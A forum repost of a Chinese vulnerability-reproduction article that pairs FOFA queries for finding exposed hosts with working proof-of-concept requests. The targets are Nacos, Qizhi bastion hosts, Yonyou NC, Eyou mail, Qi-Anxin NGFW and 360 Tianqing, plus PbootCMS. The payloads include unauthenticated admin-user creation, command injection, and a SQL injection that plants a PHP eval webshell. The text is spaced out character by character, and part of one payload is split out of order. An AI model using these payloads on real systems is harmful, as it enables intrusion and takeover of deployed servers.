搜索

[7581] 2021-04-26_漏洞复现（主要是复现今年的漏洞）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-04-26_漏洞复现（主要是复现今年的漏洞） 漏 洞 复 现 （ 主 要 是 复 现 今 年 的 漏 洞 ） F 1 2 s e c   2 0 2 1 - 0 4 - 2 6 编 者 荐 语 ： 学 习 以 下 文 章 来 源 于 广 软 N S D A 安 全 团 队   ， 作 者 j d r 推 文 开 头 ， 先 学 习 一 下 中 华 人 民 共 和 国 网 络 安 全 法 ， 大 家 要 做 一 名 合 法 的 白 帽 子 ， 不 要 搞 事 情 。   本 推 文 仅 用 于 信 息 防 御 技 术 教 学 ， 切 勿 用 于 其 他 用 途 ， 有 侵 权 或 者 存 在 危 害 性 ， 请 联 系 我 进 行 删 除 。 这 几 天 复 现 了 几 个 漏 洞 ， 整 理 一 下 ， 公 众 号 发 一 波 A l i b a b a   N a c o s   未 授 权 访 问 漏 洞 未 授 权 访 问 漏 洞 目 前 受 影 响 的   A l i b a b a   N a c o s   版 本 ： N a c o s   < =   2 . 0 . 0 - A L P H A . 1 f o f a 语 法 语 法 未 授 权 信 息 泄 露 的 未 授 权 信 息 泄 露 的 p o c 广 软 广 软 N S D A 安 全 团 队 安 全 团 队   . 技 术 分 享 ， 感 谢 关 注 h t t p s : / / w w w . c t o . a c . c n / t h r e a d - 1 0 6 . h t m t i t l e = " n a c o s " h t t p : / / x . x . x . x / n a c o s / v 1 / a u t h / u s e r s ? p a g e N o = 1 & p a g e S i z e = 1 0 0
未 授 权 创 建 用 户 未 授 权 创 建 用 户 发 送 下 面 的 数 据 包 ， 添 加 账 号 密 码 都 是 q w e 的 用 户 回 到 未 授 权 暴 露 账 号 密 码 的 接 口 处 ， 可 以 发 现 q w e 用 户 添 加 成 功 最 后 登 录 成 功 P O S T   / n a c o s / v 1 / a u t h / u s e r s   H T T P / 1 . 1 H o s t :   x . x . x . x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 4 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   2 5 C o n n e c t i o n :   c l o s e u s e r n a m e = q w e & p a s s w o r d = q w e
齐 治 堡 垒 机 任 意 用 户 登 录 齐 治 堡 垒 机 任 意 用 户 登 录 f o f a 搜 索 搜 索 p o c a p p = " 齐 治 科 技 - 堡 垒 机 " h t t p s : / / x . x . x . x / a u d i t / g u i _ d e t a i l _ v i e w . p h p ? t o k e n = 1 & i d = % 5 C & u i d = % 2 C c h r ( 9 7 ) ) % 2 0 o r % 2 0 1 : % 2 0 p r i n t % 2 0 c h r ( 1 2 1 ) % 2 b c h r ( 1 0 1 ) % 2 b c h r ( 1 1 5 ) % 0 d % 0 a % 2 3 & l o g i n = s h t e r m
用 友 用 友 N C 目 录 遍 历 漏 洞 目 录 遍 历 漏 洞 f o f a 语 法 语 法 p o c a p p = " 用 友 - U F I D A - N C " h t t p : / / x . x . x . x / N C F i n d W e b ? s e r v i c e = I P r e A l e r t C o n f i g S e r v i c e & f i l e n a m e
亿 邮 电 子 邮 件 系 统 存 在 远 程 命 令 执 行 漏 洞 亿 邮 电 子 邮 件 系 统 存 在 远 程 命 令 执 行 漏 洞 f o f a 语 法 语 法 p o c a p p = " 亿 邮 电 子 邮 件 系 统 " P O S T   / w e b a d m / ? q = m o n i _ d e t a i l . d o & a c t i o n = g r a g h   H T T P / 1 . 1 H o s t :   x . x . x . x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   r v : 7 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 7 8 . 0 C o n t e n t - L e n g t h :   1 2 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d
这 里 我 是 写 的 x r a y 自 定 义 p o c 跑 的 ， 方 便 复 现 奇 安 信 奇 安 信 N S - N G F W   网 康 防 火 墙 网 康 防 火 墙   前 台 前 台 R C E f o f a 搜 索 搜 索 p o c C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d A c c e p t - E n c o d i n g :   g z i p t y p e = ' | i d | | ' 网 康 下 一 代 防 火 墙 P O S T   / d i r e c t d a t a / d i r e c t / r o u t e r   H T T P / 1 . 1 H o s t :   x . x . x . x U s e r - A g e n t :   M o z i l l a / 5 . 0 C o n t e n t - L e n g t h :   2 6 5 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t A c c e p t - E n c o d i n g :   g z i p {         " a c t i o n " :   " S S L V P N _ R e s o u r c e " ,           " m e t h o d " :   " d e l e t e I m a g e " ,           " d a t a " :   [                 {                         " d a t a " :   [                                 " / v a r / w w w / h t m l / d . t x t ; i d   >   / v a r / w w w / h t m l / 1 . t x t "
放 包 ， 执 行 i d 命 令 ， 并 将 结 果 输 出 到 网 站 根 目 录 下 的 1 . t x t 中 然 后 访 问 根 目 录 下 的 1 . t x t 文 件 h t t p : / / x . x . x . x / 1 . t x t 3 6 0 天 擎 天 擎 _ 越 权 访 问 越 权 访 问 f o f a 语 法 语 法 p o c                                 " / v a r / w w w / h t m l / d . t x t ; i d   >   / v a r / w w w / h t m l / 1 . t x t "                         ]                 }         ] ,           " t y p e " :   " r p c " ,           " t i d " :   1 7 } a p p = " 3 6 0 天 擎 私 有 云 杀 毒 管 理 V 6 . 0 系 统 " a p p = " 3 6 0 天 擎 终 端 安 全 管 理 系 统 " h t t p s : / / x . x . x . x / a p i / d b s t a t / g e t t a b l e s s i z e
天 擎 天 擎 _ 前 台 前 台 s q l 注 入 注 入 f o f a p o c 这 里 我 是 用 s q l m a p 验 证 的 a p p = " 3 6 0 天 擎 私 有 云 杀 毒 管 理 V 6 . 0 系 统 " a p p = " 3 6 0 天 擎 终 端 安 全 管 理 系 统 " / a p i / d p / r p t s v c s y n c p o i n t ? c c i d = 1 ' ; c r e a t e   t a b l e   O ( T   T E X T ) ; i n s e r t   i n t o   O ( T )   v a l u e s ( ' < ? p h p   @ e v a l ( $ _ P O S T [ 1 ] ) ; ? > ' ) ; c o p y   O ( T )   t o   ' C : P r o g r a m   F i l e s   ( x 8 6 ) 3 6 0 s k y l a r 6 w w w 1 . p h p ' ; d r o p   t a b l e
P b o o t C M S   S Q L 注 入 漏 洞 （ 注 入 漏 洞 （ C N V D - 2 0 2 1 - 2 6 2 0 7 ） ） f o f a 这 个 是 无 意 中 逛 c n v d 看 见 的 漏 洞 ， 并 复 现 成 功 了 漏 洞 描 述 就 告 诉 你 注 入 点 在 哪 了 a p p = " P B O O T C M S "
本 地 环 境 搭 建 复 现 数 据 库 是 m y s q l 条 件 为 假 时 ， 未 查 到 任 何 数 据
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理